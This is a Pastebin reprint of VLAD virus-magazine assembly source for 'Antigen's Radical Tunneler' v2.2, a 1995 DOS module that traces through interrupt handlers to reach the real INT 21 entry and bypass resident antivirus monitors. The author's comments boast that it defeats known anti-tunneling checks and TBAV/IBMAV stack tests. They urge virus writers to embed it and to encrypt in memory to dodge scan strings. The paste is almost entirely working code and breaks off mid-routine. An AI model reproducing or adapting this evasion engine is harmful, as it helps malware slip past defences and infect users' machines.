Advertisement
FlyFar

VLAD Magazine - Issue #4 - ARTICLE.5_2 - Antigen's Radical Tunneller v 2.2 - Source Code

Jun 30th, 2023
1,594
1
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 26.60 KB | Cybersecurity | 1 0
  1. ;>=---- * * * * * * * * * * *  A. R. T. is here * * * * * * * * * * * ----=<;
  2. ;  -\   * * * * * * * * * * *    version 2.2    * * * * * * * * * * *   -\  ;
  3. ;  /_   Antigen's Radical Tunneler v 2.2 Copyright 1995, Antigen/VLAD   /_  ;
  4. ;>=---- * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ----=<;
  5.  
  6. ;; OLD and exciting features:
  7. ; - bypasses every stable anti-tunneling code out there which is usable
  8. ;    in an AV TSR, and many that aren't out there.
  9. ; - aborts gracefully if a bad situation is encountered rather than freezing
  10. ; - stack tests are futile :) (i.e. TBAV, IBMAV code is useless)
  11.  
  12. ;; NEW and exciting features:
  13. ; - found a bad bug at restore_8c, it didn't restore 8c (not sure how it
  14. ;    slipped by my bug-checking)
  15. ; - I forgot to include out dx,al entirely
  16. ; - fixed a problem with Desqview multi-tasking
  17. ; - only 1407 bytes addition to the file!
  18. ; - only 1536 or so bytes needed in memory (depends on temp_sp) and if
  19. ;    your virus encrypts, you can use the encrypt buffer for the data
  20. ;    (might want to experiment with using video memory, etc.)
  21. ; - easier porting of code, just define a label called heap, and copy the
  22. ;    constant definitions from the end of this file to somewhere after
  23. ;    the label - no hastle
  24. ; - supports tunneling of more than just INT 21 with a variable termination
  25. ;    test procedure and tunneled vector storage location
  26. ; - doesn't use INT 1 ever
  27. ; - handles all divide overflow exceptions (instead of just divide by 0)
  28. ; - handles the bound exception
  29. ; - handles test r/m8,i8 and test r/m16,i16 correctly (whoops)
  30. ; - handles setalc
  31. ; - faster
  32. ; - written in a half week, and it works better than v 1.0
  33. ; - no heuristics flags when unencrypted by any scanner
  34. ; - this test program is easier to use - instead of returning an error code,
  35. ;    it will tell you if it works or not.
  36. ; - works under DOS, QEMM, Desqview, Windows, Win32, Win95 (beta), PC-DOS 7.0
  37. ;   DOS 7.0 (beta), OS/2, and even Linux's DOS emu!!
  38. ;!++++++++++++++++++++++++++++!++++++++++++++++++++++++++!
  39. ;! I highly recommend that you! I even more highly re-   !
  40. ;! use a variant of my entry  ! commend that you at least!
  41. ;! code since it is optimized ! encrypt in memory to av- !
  42. ;! and _works_                ! oid simple scan strings  !
  43. ;!++++++++++++++++++++++++++++!++++++++++++++++++++++++++!
  44.  
  45. ;;  READ THIS!  READ THIS! READ THIS! READ THIS! READ THIS!
  46. ;; License agreement:
  47. ; you the programmer are free to use ART and modify the source code as you
  48. ; wish (although I wouldn't recommend changing anything but what I designed
  49. ; to be changed) with one condition: If you release anything (virus, AV)
  50. ; which contains _any_ portion of ART, that you send me a registered (if AV)
  51. ; or commented source.  There is no license fee, and I expect you to make
  52. ; necessary modifications as long as I have a copy of the code prior to
  53. ; release.  This is only because I like to see where my code is used, and
  54. ; since use of ART is free, I would hope you wouldn't pirate it.  To contact
  55. ; me, mail a uuencoded executable (if AV) or commented source to:
  56.  
  57. ; vlad@trisection.mit.edu
  58.  
  59. ; If you find any bugs or have any comments, please mail those also to
  60. ; vlad@trisection.mit.edu.  Most importantly, enjoy your use of art, and
  61. ; write some kick-ass stuff which uses it :).
  62.  
  63. ;; -Antigen
  64.  
  65.  
  66. ;----------------------------cut---cut---cut---cut--------------------------;
  67. ideal               ; use TASM - you'll like yourself more
  68. segment code    'code'
  69. assume  cs:code,ds:code,es:code,ss:code
  70. radix   16          ; use radix 16 or the results will be BIZARRE
  71. org 100         ; this is a .com- doesn't have to be though
  72. start:
  73.     push    cs
  74.     pop ds
  75.     mov di,sim_flags            ; this simply saves code
  76.     mov [word ptr di+(temp_sp - sim_flags)],stack_top + 40
  77.     mov [word ptr di+(_cs - sim_flags)],cs
  78.     mov [word ptr di+(_ip - sim_flags)],offset tunnel
  79. ;; set the cs:ip of art to cs:tunnel
  80.     mov [word ptr di+(test_exit - sim_flags)],offset _21test
  81. ;; use the INT 21 tunnel tester
  82.     mov [word ptr di+(tunnel_ip_ofs - sim_flags)],tunnel_ip
  83. ;; tell art where to put the tunneled cs:ip
  84.     mov [byte ptr di],0
  85. ;; clear all simulation flags
  86.     mov ah,52
  87.     int 21              ; get DOS list of lists
  88.     mov ax,[es:bx-2]            ; ax = first MCB
  89.     mov [word ptr di+(firstMCB - sim_flags)],ax
  90.     mov [word ptr di+(return_address - sim_flags)],offset beginning
  91. ;; on return from saving the processor state, go to the beginning
  92.     mov ax,0de1bh
  93.     int 15
  94.     mov ah,30               ; we'll use get DOS version
  95.     jmp save_ds             ; jump into art
  96. ;----------------------->> art starts simulating at this point
  97. tunnel:
  98.     int 21              ; this is tunneled
  99. ;; if unsuccessful, this will be set to 0ffff (an impossible offset of int 21)
  100.     mov ax,0de1ch
  101.     int 15
  102.     mov ax,[word ptr di+(tunnel_ip - sim_flags)]
  103. ;; art aborts upon all escsaped 0Fh instructions, and when it finds ARPL,
  104. ;; FS segment override, GS segment override, Operand Length Override, Address
  105. ;; length override, coprocessor escape instructions, and BPICE
  106.     push    cs
  107.     pop ds
  108.     cmp ax,0ffff
  109.     jne successful
  110.     mov ah,9
  111.     mov dx,offset unsuc_msg
  112.     int 21
  113.     mov ax,4c00
  114.     int 21
  115. successful:
  116.     mov ah,9
  117.     mov dx,offset suc_msg
  118.     int 21
  119.     mov ax,4c00
  120.     int 21
  121. unsuc_msg:
  122.     db  'Did not work :($'  ; tells you if it works or not
  123. suc_msg:
  124.     db  'Worked :)$'
  125. ;;assumptions:
  126. ; - the code will only be executed in a situation where no delta offset
  127. ;   is necessary, i.e. in residence
  128. ; - radix is 16
  129. ; - ss:sp = cs:tempsp
  130. ; - saved ss:sp is valid
  131. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  132. ;; sim_flags bitmapped values:
  133. ;  8 7 6 5 4 3 2 1
  134. ;  � � � � � � � �� set ds = traced cs in simulation
  135. ;  � � � � � � �� bound interrupt hooked (0 if divide exception hooked)
  136. ;  � � � � � �� unused
  137. ;  � � � � �� unused
  138. ;  � � � �� set es = old ds in simulation
  139. ;  � � �� unused
  140. ;  � �� unused
  141. ;  �� one of either int 0 or int 5 has been hooked
  142. unsuccessful:
  143.     mov di,[word ptr cs:tunnel_ip_ofs]  ; set in the initialization
  144.     xor ax,ax
  145.     dec ax              ; ax=0ffff
  146.     stosw
  147. exit_art:
  148.     mov [word ptr cs:return_address],offset hide_tracks
  149.     jmp restore_ds          ; continue where we left off
  150. hide_tracks:
  151.     jmp [dword ptr cs:_ip]      ; no traces :)
  152. beginning:
  153.     cld
  154.     mov al,[byte ptr cs:sim_flags]
  155. ;; did the last instruction require hooking of an interrupt?
  156.     test    al,80
  157.     je  no_reset
  158.     xor di,di
  159.     mov es,di               ; es:di = int 0 vector
  160.     test    al,2                ; was it int 5?
  161.     je  was_int_0
  162.     mov di,4*5              ; int 5 vector
  163. was_int_0:
  164.     mov ax,[word ptr cs:int0_5_sip] ; saved int 0/5 vector
  165.     stosw
  166.     mov ax,[word ptr cs:int0_5_scs]
  167.     stosw
  168.     and [byte ptr cs:sim_flags],not 82  ; turn off de flags
  169. no_reset:
  170.     push    cs
  171.     pop es
  172.     mov di,simulate_buffer      ; es:di = simulate buffer
  173. ;; ds:si = traced cs:ip
  174.     mov ds,[word ptr cs:di+(_cs-simulate_buffer)]
  175.     mov si,[word ptr cs:di+(_ip-simulate_buffer)]
  176. ;; exceptions always push the ip of the ofending instruction on 286+
  177. ;; and since nobody in their right mind would write software which
  178. ;; works only on 8086/8088s, I assume this will be the case.
  179.     mov [word ptr cs:di+(int0_5_ip-simulate_buffer)],si ; remember it
  180. ;; this calls the procedure installed to test whether we've tunneled far
  181. ;; enough
  182.     call    [word ptr cs:di+(test_exit-simulate_buffer)]
  183.     jnc continue_art
  184. ;; if we reach here, we're done :)
  185.     mov di,[word ptr cs:di+(tunnel_ip_ofs - simulate_buffer)]
  186. ;; di = 4 byte space for the tunneled cs:ip
  187.     xchg    ax,si
  188.     stosw
  189.     mov ax,ds
  190.     stosw                   ; save the tunneled cs:ip
  191.     jmp exit_art
  192. continue_art:
  193. ;; al = 1st byte of next instruction
  194.     lodsb
  195.     stosb                   ; save in simulate buffer
  196.     call    scan_for_invalid        ; unhandleable opcode?
  197.     jnc unsuccessful            ; damn
  198.     call    scan_for_prefix         ; prefix?
  199.     jnc continue_art            ; if so, read in next byte
  200.     call    scan_for_csip_change        ; modifies cs and/or ip?
  201.     ;; if so, it never returns, but jumps to continue_art
  202.     call    scan_for_int0_5_needed      ; hook int 0/5 if needed
  203.     call    scan_for_no_mrm         ; simple instruction?
  204.     jnc goto_simulate           ; then no problems
  205. ;; if we reach here, the instruction has a ModR/M byte which needs parsing
  206.     push    ax
  207.     xchg    ax,bx               ; bl = instruction
  208.     lodsb                   ; load the ModR/M into al
  209. skip_out:
  210. ;; here's the bug in art 1.0 which I fixed: f6 and f7 ModR/M column 0
  211. ;; have an immediate value which was never copied to the simulate buffer
  212.     cmp bl,0f6
  213.     je  test_immm
  214.     cmp bl,0f7
  215.     jne no_immm
  216. test_immm:
  217.     stosb                   ; save the ModR/M
  218.     mov ah,al               ; again
  219.     and al,111000b          ; if column 0, ZF will be set
  220.     xchg    ah,al
  221.     jne no_imms
  222.     test    bl,1                ; f7 has 2 bytes, f6 1
  223.     je  one_immm
  224.     movsb
  225. one_immm:
  226.     movsb
  227. no_imms:
  228.     call    immm_parse_ModRM        ; skip the stosb below
  229.     jmp rest_main
  230. no_immm:
  231.     call    parse_ModRM         ; store and parse the ModR/M
  232. rest_main:
  233.     pop ax              ; al = instruction byte
  234.     call    scan_for_immediate      ; has immediate bytes?
  235. goto_simulate:
  236.     jmp simulate
  237. ;===========================================================================
  238. ; given a ModRM in al, determine the length of displacement
  239. ; es:di -> current location in simulation buffer
  240. ;; format of ModR/M:
  241. ;; bit: 8 7 6 5 4 3 2 1
  242. ;; Mod: 1 1              = register value, i.e. just a ModR/M byte
  243. ;; Mod: 1 0              = memory value + a 16 bit displacement
  244. ;; Mod: 0 1              = memory value + an 8 bit displacement
  245. ;; mrm: 0 0       1 1 0  = just a 16 bit displacement
  246. ;; mrm: 0 0       x x x  = just a ModR/M byte (x x x != 1 1 0)
  247. parse_ModRM:
  248.     stosb           ; save the ModRM
  249. immm_parse_ModRM:
  250.     mov ah,al
  251.     and al,0c0      ; isolate the Mod and the R/M
  252.     cmp al,0c0
  253.     je  no_disp
  254.     cmp al,80
  255.     je  disp16
  256.     cmp al,40
  257.     je  disp8
  258.     and ah,111b
  259.     cmp ah,6
  260.     jne no_disp
  261. disp16:
  262.     movsb
  263. disp8:
  264.     movsb
  265. no_disp:
  266.     ret
  267. ;===========================================================================
  268. restore_ds:
  269.     mov ds,[word ptr cs:_ds]
  270. restore_proc_state:
  271.     mov ax,cs
  272.     mov ss,ax
  273.     mov sp,stack_bottom
  274.     pop ax bx cx dx si di bp es
  275.     popf
  276.     pop ss
  277.     mov sp,[word ptr cs:_sp]
  278.     jmp [word ptr cs:return_address]
  279. ;===========================================================================
  280. save_ds:
  281.     mov [word ptr cs:_ds],ds
  282. save_proc_state:
  283.     mov [word ptr cs:_sp],sp
  284.     mov [word ptr cs:_ss],ss
  285.     mov [word ptr cs:_ax],ax
  286.     mov ax,cs
  287.     mov ss,ax
  288.     mov sp,stack_top
  289.     pushf
  290.     cli
  291.     push    es bp di si dx cx bx
  292.     mov ax,cs
  293.     mov ss,ax
  294.     mov sp,[word ptr cs:temp_sp]        ; use temporary stack
  295.     jmp [word ptr cs:return_address]
  296. ;===========================================================================
  297. ;===========================================================================
  298. simulate:
  299. ;; write the ret to simulate buffer
  300.     call    write_ret
  301.     mov di,sim_flags            ; save bytes
  302. ;; zero return address for now
  303.     and [word ptr cs:di+(return_address - sim_flags)],0
  304.     test    [byte ptr cs:di],10     ; set es = ds?
  305.     je  no_es
  306.     sub [word ptr cs:di+(return_address - sim_flags)],\
  307.         start_simulate-let_es_eq_ds ; adjust return address
  308. no_es:
  309.     test    [byte ptr cs:di],1      ; set ds = cs?
  310.     jne let_ds_eq_cs            ; ds already = cs
  311. ;; restore ds if we don't need it to be cs
  312.     mov ds,[word ptr cs:di+(_ds - sim_flags)]
  313. let_ds_eq_cs:
  314.     add [word ptr cs:return_address],offset start_simulate
  315.     jmp restore_proc_state
  316. let_es_eq_ds:
  317.     mov [word ptr cs:temp_es],es    ; remember for afterwards
  318.     mov es,[word ptr cs:_ds]        ; set es = ds
  319. start_simulate:
  320.     mov [word ptr cs:return_address],offset ds_cleanup
  321.     jmp near simulate_buffer        ; do de dirty werk
  322. ds_cleanup:
  323.     mov [word ptr cs:return_address],offset test_ds
  324.     jmp save_proc_state         ; save everytink but ds
  325. test_ds:
  326.     mov di,sim_flags
  327.     test    [byte ptr cs:di],10     ; was es = ds?
  328.     je  es_is_just_fine_the_way_it_is   ; heh, guess not
  329.     mov ax,[word ptr cs:di+(temp_es - sim_flags)]
  330.     mov [word ptr cs:di+(_es - sim_flags)],ax
  331. es_is_just_fine_the_way_it_is:
  332.     test    [byte ptr cs:di],1      ; was ds = cs?
  333.     je  normal_cmp          ; if so, and ds now != cs,
  334.     mov ax,ds               ; we want top save the change
  335.     cmp ax,[word ptr cs:di+(_cs - sim_flags)]
  336.     jne normal_cmp
  337.     mov ds,[word ptr cs:di+(_ds - sim_flags)]
  338. normal_cmp:
  339.     mov [word ptr cs:di+(_ds - sim_flags)],ds
  340.     and [byte ptr cs:di],not 11     ; turn off ds = cs,es = ds
  341. cycle:
  342.     jmp beginning           ; go topside
  343. ;===========================================================================
  344. write_ret:
  345.     mov [word ptr cs:_ip],si        ; save new ip
  346.     mov ax,0ff2e            ; cs:...
  347.     stosw
  348.     mov ax,(low offset return_address) shl 8 + 26
  349.     stosw
  350.     mov al,(high offset return_address)
  351.     stosb                   ; ...jmp [return_address]
  352.     ret
  353. ;===========================================================================
  354. scan_for_invalid:
  355.     mov bx,offset invalid_sfi
  356.     mov cx,end_invalid_sfi - invalid_sfi
  357.     jmp scan                ; let scan handle the ret
  358. invalid_sfi:
  359.     db  0f,63,64,65,66,67,0d8,0d9,0da,0dbh,0dc,0ddh,0de,0df,0f1
  360. end_invalid_sfi:
  361. ;===========================================================================
  362. scan_for_prefix:
  363.     cmp al,2e               ; cs:?
  364.     je  set_sfp
  365. reset_sfp:
  366.     mov bx,offset prefixes
  367.     mov cx,end_prefixes - prefixes
  368.     call    scan
  369.     jc  no_reset_sfp
  370.     and [byte ptr cs:sim_flags],not 1   ; turn off ds = cs flag
  371. no_reset_sfp:
  372.     ret
  373. set_sfp:
  374.     or  [byte ptr cs:sim_flags],1   ; turn on ds = cs flag
  375. ;; set al = 3e which is ds:
  376.     or  al,10               ; this auto. clears carry :)
  377.     dec di              ; replace the cs:
  378.     stosb
  379.     ret
  380. prefixes:
  381.     db  26,36,3e,64,65,0f0,0f2,0f3
  382. end_prefixes:
  383. ;===========================================================================
  384. scan_for_int0_5_needed:
  385.     push    ax es di
  386.     cmp al,0f6              ; DIV/IDIV
  387.     je  needed0
  388.     cmp al,0f7
  389.     je  needed0
  390.     cmp al,0d4              ; AAM
  391.     je  might_need_0
  392.     cmp al,62               ; Bound
  393.     je  needed5
  394. do_da_ret_thang:
  395.     pop di es ax
  396.     ret
  397. needed5:
  398.     mov di,4*5
  399.     or  [byte ptr cs:sim_flags],2   ; remember it was int 5
  400.     jmp skip_0
  401. might_need_0:
  402.     lodsb                   ; the immediate of AAM
  403.     dec si
  404.     or  al,al               ; is it 0?
  405.     jne do_da_ret_thang         ; if so we need to hook int 0
  406. needed0:
  407.     xor ax,ax
  408.     mov di,ax
  409.     mov es,ax               ; es:di = int 0 vector
  410. skip_0:
  411.     or  [byte ptr cs:sim_flags],80  ; remember we hooked an int
  412.     mov ax,[es:di]
  413.     mov [word ptr cs:int0_5_sip],ax
  414.     mov ax,[es:di+2]
  415.     mov [word ptr cs:int0_5_scs],ax ; save the vector
  416.     mov ax,offset int0_5
  417.     stosw
  418.     mov ax,cs
  419.     stosw                   ; set it to ours
  420.     jmp do_da_ret_thang
  421. ;===========================================================================
  422. standard_cfar:                  ; call far
  423.     push    ds              ; return cs
  424.     lea ax,[si+4]           ; return ip
  425.     push    ax
  426. ;===========================================================================
  427. standard_far:
  428.     lodsw
  429.     lodsw                   ; ax = the new cs
  430.     mov ds,ax
  431. f_standard_far:
  432.     or  al,8                ; make sure al is non-zero
  433.     cmp ax,0                ; shorter than a jmp short
  434. org $ - 2
  435. standard_near:
  436.     mov al,0                ; make sure al = 0
  437. do_gnear:
  438.     mov [word ptr cs:_ip],bx        ; save the new ip
  439.     or  al,al               ; was it far?
  440.     je  near_direct
  441. do_gfar:                    ; if al != 0 then
  442.     mov [word ptr cs:_cs],ds        ; yes
  443. near_direct:
  444.     jmp to_beginning            ; restore temp stack
  445. ;===========================================================================
  446. do_cnear:
  447.     lea ax,[si+2]           ; return ip
  448.     push    ax              ; save on stack
  449.     jmp do_near             ; do near jump procedure
  450. ;===========================================================================
  451. do_cond:
  452.     mov [byte ptr cs:test_jcond],al ; save the jump
  453.     mov cx,[word ptr cs:_cx]        ; if loop, it uses cx
  454.     xchg    bh,bl               ; bh = short offset
  455.     mov bl,0                ; set the current jmp to 0
  456.     mov bp,sp
  457.     mov bp,[bp-2]           ; bp = stack word
  458.     push    [word ptr cs:flags]
  459.     popf                    ; restore flags
  460.     push    bp              ; keep the stack untarnished
  461.     pop bp
  462.     jmp test_jcond          ; flush prefetch on 486-
  463. test_jcond:
  464. ;; the je is replaced with the jump of choice (current instruction)
  465.     je  has_offset
  466.     cmp ax,0                ; shorter dan a jmp short
  467. org $ - 2
  468. has_offset:
  469.     mov bl,bh               ; use the short offset
  470.     mov [word ptr cs:_cx],cx        ; save any changes to cx
  471. ;; al = relative offset
  472. do_short:
  473.     xchg    ax,bx
  474.     cbw                 ; convert the short to a near
  475.     xchg    ax,bx
  476.     dec bx              ; short jmps are 2 bytes
  477. ;; bx = relative offset
  478. do_near:
  479.     inc bx
  480.     inc bx
  481.     inc bx              ; near jmps are 3 bytes long
  482.     add [word ptr cs:_ip],bx        ; set new ip
  483. ;===========================================================================
  484. to_beginning:
  485.     mov [word ptr cs:_sp],sp        ; remember changes to sp
  486.     mov bx,cs
  487.     mov ss,bx
  488.     mov sp,offset stack_top+300     ; use temporary stack
  489.     jmp beginning           ; cycle
  490. ;===========================================================================
  491. scan_for_csip_change:
  492.     mov bx,offset temp_sp
  493.     mov [word ptr cs:bx],sp     ; save current sp
  494. ;; use original stack (smaller code)
  495.     mov ss,[word ptr cs:bx+(_ss - temp_sp)]
  496.     mov sp,[word ptr cs:bx+(_sp - temp_sp)]
  497.     xchg    ax,bx
  498.     lodsw
  499.     xchg    ax,bx
  500. ;; al = current instruction, ah = 0 (4 lines down)
  501. ;; bx = next 2 bytes
  502.     dec si
  503.     dec si
  504.     mov ah,0
  505.     cmp al,9a               ; call far
  506.     je  standard_cfar
  507.     cmp al,0ea              ; jmp far
  508.     je  standard_far
  509.     cmp al,0ebh             ; jmp short
  510.     je  do_short
  511.     cmp al,0e9              ; jmp near
  512.     je  do_near
  513.     cmp al,0e8              ; call near
  514.     je  do_cnear
  515.     cmp al,0e0              ; loopne
  516.     jb  no_cond             ; loope is e1, loop is e2
  517.     cmp al,0e3              ; jcxz
  518.     jbe do_cond
  519. no_cond:
  520.     cmp al,70               ; all the jx/jnx jumps
  521.     jb  not_jcond
  522.     cmp al,7f
  523.     jbe do_cond
  524. not_jcond:
  525.     cmp al,0c2              ; ret iw
  526.     je  iw_ret
  527.     cmp al,0c3              ; ret
  528.     je  standard_ret
  529.     cmp al,0ca              ; retf iw
  530.     je  iw_retf
  531.     cmp al,0cbh             ; retf
  532.     je  standard_retf
  533.     cmp al,0cc              ; int 3
  534.     je  trap_int
  535.     cmp al,0cdh             ; int xx
  536.     je  do_int
  537.     cmp al,0ceh             ; into
  538.     je  overflow_int
  539.     cmp al,0cfh             ; iret
  540.     je  do_iret
  541.     cmp al,0ff              ; indirect jmp/call (maybe)
  542.     je  test_ff
  543.     jmp restore_temp_stack      ; return to the sim cycle
  544. ;===========================================================================
  545. iw_retf:
  546. ;; remember that this is a retf and also not an iret
  547.     or  ax,101
  548. iw_ret:
  549. ;; remember that an imm16 must be added to sp
  550.     or  ah,2
  551.     test    ah,1
  552.     jne standard_retf
  553. standard_ret:
  554.     mov al,0                ; not retf
  555.     cmp ax,0                ; shorter jmp short
  556. org $ - 2
  557. standard_retf:
  558.     and al,not 2            ; not iret
  559. do_iret:
  560. do_retn:
  561.     pop [word ptr cs:_ip]       ; pop ip from stack
  562.     test    al,1                ; far?
  563.     je  retn_only
  564.     pop [word ptr cs:_cs]       ; pop cs from stack
  565.     test    al,2                ; iret?
  566.     je  retf_only
  567.     pop [word ptr cs:flags]     ; pop flags
  568. retf_only:
  569. retn_only:
  570.     test    ah,2                ; immediate word?
  571.     je  no_iw
  572.     add sp,bx               ; bx = that word (ca xxxx)
  573. no_iw:
  574.     jmp to_beginning            ; cycle
  575. ;-----------------------------
  576. ; thses are used by test_ff
  577. goto_call_near:
  578.     push    si
  579. goto_jmp_near:
  580.     jmp standard_near
  581. goto_call_far:
  582.     push    [word ptr cs:_cs] si
  583. goto_jmp_far:
  584.     jmp f_standard_far
  585. ;===========================================================================
  586. overflow_int:
  587.     test    [word ptr cs:flags],800     ; OF set?
  588.     mov bl,4                ; int 4 if so
  589.     jne do_sint
  590.     mov bx,si               ; si = instruction after INTO
  591.     jmp do_gnear            ; reuse code to save size
  592. trap_int:
  593.     mov bl,3                ; use int 3
  594. do_sint:
  595.     dec si              ; cc,ce are 1 byte < cd xx
  596. ;===========================================================================
  597. do_int:
  598.     mov bh,0                ; bx = int number
  599.     shl bl,1
  600.     shl bl,1                ; bx = bx*4
  601.     inc si
  602.     push    [word ptr cs:flags] ds si   ; order of stack in an int
  603.     and [byte ptr cs:flags+1],not 3 ; turn off TF & IF
  604.     xor ax,ax
  605.     mov ds,ax
  606.     lds bx,[bx]             ; ds:bx =int vector
  607.     or  al,8                ; it's far, so remember
  608.     jmp do_gnear
  609. ;===========================================================================
  610. test_ff:
  611.     mov ax,cs
  612.     mov ss,ax
  613.     mov sp,[word ptr cs:temp_sp]    ; need temporary stack
  614.     lodsb                   ; al = ModR/M
  615.     mov ah,al               ; remember it
  616.     and al,111000b          ; isolate opcode in ModR/M
  617.     push    ax              ; save for later
  618.     cmp al,2 shl 3
  619.     jb  not_csip_ff
  620.     cmp al,5 shl 3          ; if 5 > reg > 2 it needs sim
  621.     ja  not_csip_ff
  622.     call    get_ModRM           ; get the new cs:ip
  623.     xchg    ax,bx               ; ds:bx = new cs:ip
  624.     pop ax              ; ax = reg of Mod reg R/M
  625.     mov ss,[word ptr cs:_ss]
  626.     mov sp,[word ptr cs:_sp]
  627.     mov si,[word ptr cs:_ip]
  628.     cmp al,2 shl 3          ; call near
  629.     je  goto_call_near
  630.     cmp al,3 shl 3          ; call far
  631.     je  goto_call_far
  632.     cmp al,4 shl 3          ; jmp near
  633.     je  goto_jmp_near
  634.     cmp al,5 shl 3          ; jmp far
  635.     je  goto_jmp_far
  636. not_csip_ff:
  637.     dec si              ; ds:si -> ModR/M
  638.     pop ax              ; pop to get the ret to work
  639.     mov al,0ff              ; now it's like when started
  640.     ret
  641. ;===========================================================================
  642. scan_for_no_mrm:
  643.     cmp al,0e               ; push  cs
  644.     jne not_pushcs
  645.     dec di              ; es:di -> push cs
  646.     or  al,10               ; push ds
  647.     stosb                   ; switch push cs with push ds
  648.     or  [byte ptr cs:sim_flags],1   ; remember to set ds = cs
  649.     ret
  650. not_pushcs:
  651.     cmp al,8c               ; mov r/m16,segmentr register?
  652.     jne not_mov_reg_seg
  653.     lodsb                   ; al = ModR/M
  654.     push    ax              ; save it
  655.     and al,111000b          ; isolate the register
  656.     cmp al,1000b            ; cs?
  657.     jne not_cs
  658.     or  [byte ptr cs:sim_flags],1   ; set ds = cs and use ds
  659.     pop ax
  660.     or  al,10000b           ; now = ds
  661. setup_skip:
  662.     pop bx              ; pop the return address
  663.     push    ax              ; setup to skip normal route
  664.     mov bl,08c
  665.     jmp skip_out            ; go directly to parse_modR/M
  666. not_cs:
  667. ;; now to check for:
  668. ;  mov [cs:somewhere],ds
  669. ;   which becomes
  670. ;  mov [ds:somewhere],ds (mov [cs:somewhere],cs - oops)
  671. ;   so I use
  672. ;  mov [ds:somewhere],es and set es = ds
  673.     cmp al,11000b           ; ds?
  674.     jne restore_8c
  675.     test    [byte ptr cs:sim_flags],1   ; is ds = cs? urgh, problem
  676.     je  restore_8c
  677.     or  [byte ptr cs:sim_flags],10  ; OK, use es instead
  678.     pop ax
  679.     xor al,11000b           ; use es
  680.     jmp setup_skip
  681. restore_8c:
  682.     dec si
  683.     pop ax
  684.     mov al,8c
  685.     stc
  686.     ret
  687. not_mov_reg_seg:
  688.     cmp al,0c8              ; enter?
  689.     jne next_sfnm
  690.     movsw                   ; the only 4 byte instruction
  691.     movsb
  692.     ret
  693. next_sfnm:
  694.     cmp al,40
  695.     jb  do_scan_sfnm            ; 40 <= instructions <= 61
  696.     cmp al,62               ; are all 1 byte instructions
  697.     cmc
  698.     ja  success_sfnm
  699. do_scan_sfnm:
  700.     cmp al,90               ; 9a is never seen here
  701.     jb  do_scan_sfnm2           ; 90 <= instrucitons <= 9f
  702.     cmp al,0a0              ; are all 1 byte instructions
  703.     cmc
  704.     ja  success_sfnm
  705. do_scan_sfnm2:
  706.     push    ax
  707.     mov bx,offset one_byters
  708.     mov cx,two_byters - one_byters
  709.     call    scan                ; scan for 1 byters
  710.     jnc success1
  711.     mov cl,three_byters - two_byters
  712.     call    scan                ; scan for 2 byters
  713.     jnc success2
  714.     mov cl,end_sfnm - three_byters
  715.     call    scan                ; and three byte instructions
  716.     jc  no_success_sfnm
  717.     movsb
  718. success2:
  719.     movsb
  720. success1:
  721.     mov ah,0                ; shorter jmp short
  722. org $ - 1
  723. no_success_sfnm:
  724.     stc
  725.     pop ax
  726. success_sfnm:
  727.     ret
  728. one_byters:
  729.     db  6,7,0e
  730.     db  16,17,1e,1f
  731.     db  27,2f
  732.     db  37,3f
  733.     db  6c,6dh,6e,6f
  734.     db  0a4,0a5,0a6,0a7,0aa,0abh,0ac,0adh,0ae,0af
  735.     db  0c9
  736.     db  0d6,0d7
  737.     db  0ee
  738.     ;skip halt (no need to worry if that's executed!)
  739.     db  0f5,0f8,0f9,0fa,0fbh,0fc,0fdh
  740. two_byters:
  741.     db  04,0c,14,1c,24,2c,34,3c ;add/or/adc/sbb/and/sub/xor/cmp al,ib
  742.     db  6a          ;push imm8
  743.     db  0a8         ;test al,ib
  744.     db  0b0,0b1,0b2,0b3,0b4,0b5,0b6,0b7     ;mov rl/h, ib
  745.     db  0d4,0d5         ;aam and aad
  746.     db  0e4,0e6         ;in/out al,ib
  747.     db  0e5,0e7         ;in/out ax,ib
  748. three_byters:
  749.     db  05,0dh,15,1dh,25,2dh,35,3dh,45,4dh,55,5dh ;add/or/etc. ax,iw
  750.     db  68          ; push imm16
  751.     db  0a0,0a1,0a2,0a3     ;mov al/ax,[mx],mov [mx],al/ax
  752.     db  0a9         ;test ax,iw
  753.     db  0b8,0b9,0ba,0bbh,0bc,0bdh,0be,0bf   ;mov rx,iw
  754. end_sfnm:
  755. ;===========================================================================
  756. scan_for_immediate:
  757.     push    ax              ; opcodes with an imm value
  758.     mov bx,offset immediates_8
  759.     mov cx,immediates_16 - immediates_8
  760.     call    scan
  761.     jnc success_1_sfi
  762.     mov cl,end_immediates - immediates_16
  763.     call    scan
  764.     jc  no_imm_sfi
  765.     movsb
  766. success_1_sfi:
  767.     movsb
  768. no_imm_sfi:
  769.     pop ax
  770.     ret
  771. immediates_8:
  772.     db  6bh,80,82,83,0c0,0c1,0c6
  773. immediates_16:
  774.     db  69,81,0c1,0c7
  775. end_immediates:
  776. ;===========================================================================
  777. ; es:bx = index
  778. ; al = byte to scan for
  779. ; cx = number of bytes to scan
  780. scan:
  781.     cmp [es:bx],al
  782.     je  found_scan
  783.     inc bx
  784.     loop    scan
  785.     stc
  786. found_scan:                 ; if =, CF will be cleared
  787.     ret
  788. ;===========================================================================
  789. _21test:
  790. ;; check for instructions which DO NOT exist at DOS entry point
  791.     cmp [byte ptr si],0cf       ; iret
  792.     je  not_in_DOS
  793.     cmp [byte ptr si],0cbh      ; retf
  794.     je  not_in_DOS
  795.     cmp [byte ptr si],0ca       ; retf iw
  796.     je  not_in_DOS
  797.     cmp [byte ptr si],0c3       ; ret
  798.     je  not_in_DOS
  799.     cmp [byte ptr si],0c2       ; ret iw
  800.     je  not_in_DOS
  801.     mov ax,si
  802.     mov cl,4
  803.     shr ax,cl               ; un-segmentize
  804. ;; segmentize our current location
  805.     mov cx,ds
  806.     add ax,cx
  807.     cmp ax,[word ptr cs:firstMCB]
  808. not_in_DOS:
  809.     ret
  810. ;===========================================================================
  811. ;; interrupt handler (sets up tracing through the int handler)
  812. int0_5:
  813.     mov di,sim_flags
  814.     add sp,4
  815. ;; push the 'real' return address, replacing the simulate buffer's location
  816.     push    [word ptr cs:di+(_cs - sim_flags)]
  817.     push    [word ptr cs:di+(int0_5_ip - sim_flags)]
  818. ;; save the new sp
  819.     mov [word ptr cs:di+(_sp - sim_flags)],sp
  820.     lds ax,[dword ptr cs:di+(int0_5_sip - sim_flags)]
  821. ;; ds:ax = new cs:ip (location of their int 0/5 vector
  822.     mov [word ptr cs:di+(_cs - sim_flags)],ds
